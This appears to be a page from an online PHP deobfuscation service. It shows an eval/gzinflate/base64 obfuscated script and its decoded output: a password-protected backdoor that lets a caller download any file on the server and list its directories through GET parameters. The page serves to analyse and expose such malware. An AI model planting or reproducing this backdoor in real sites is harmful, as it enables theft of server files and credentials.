Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\..

Decoded Output download

?><?php	
	if(!empty($_GET["a"]) && !empty($_GET["p"])){
		if(isset($_GET["a"]) && file_exists($_GET["a"]) && isset($_GET["p"])){
			if(md5($_GET["p"]) == '8855eb6091ae2c17e183f9007da44d81'){
				$tipo='';
				switch(strtolower(substr(strrchr(basename($_GET["a"]),"."),1))){
					case "pdf": $tipo="application/pdf"; break;
					case "exe": $tipo="application/octet-stream"; break;
					case "zip": $tipo="application/zip"; break;
					case "doc": $tipo="application/msword"; break;
					case "xls": $tipo="application/vnd.ms-excel"; break;
					case "ppt": $tipo="application/vnd.ms-powerpoint"; break;
					case "gif": $tipo="image/gif"; break; 
					case "png": $tipo="image/png"; break; 
					case "jpg": $tipo="image/jpg"; break; 
					case "mp3": $tipo="audio/mpeg"; break;
					case "php":
					case "htm": 
					case "html":
				}
				@header("Content-Type: ".$tipo); 
				@header("Content-Length: ".filesize($_GET["a"])); 
				@header("Content-Disposition: attachment; filename=".basename($_GET["a"])); 
				@readfile($_GET["a"]);
				exit;
			}
		}
	}
	if(!empty($_GET["b"]) && !empty($_GET["p"])){
		if((isset($_GET["b"]) && isset($_GET["p"])) && !empty($_GET["b"])){
			if(md5($_GET["p"]) == '8855eb6091ae2c17e183f9007da44d81'){
				$bb = @scandir($_GET["b"]);
				print_r($bb);
				exit;
			}
		}
	}
?>

Did this file decode correctly?

Original Code

<?php
eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'TVTHzpxoEHwXX7wrDqThA2T5QBriAEMG+ULOM+T09Dve39LuoVSq0Kdudb7F3V/ffh2A+HWQ4MPoB9yvA6M+TH485sP0B8IH4Cv73SFvXzP/9rA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Pt+RFd4ceDm4Z6+R57m4vs7kb5QcIaAPn0sB6F1vaJd37I3Zj64K+pC8ZSt9lg2XXfxtAqltORRBbhD7/Pnz++fr0P8BZ7/9/eMf'\x29\x29\x29\x3B");
?>

Function Calls

gzinflate 5
dyyjuj96371 1
base64_decode 5

Variables

$a base64_decode
$b gzinflate
$str rVTJbtswED2rQP+BJYJYAuJFTdw4dhUHaIteesytKAwuY4mtuEBkaidF/r2k..

Stats

MD5 645d3aa4a7cb493d38675dd93f09ff33
Eval Count 9
Decode Time 100 ms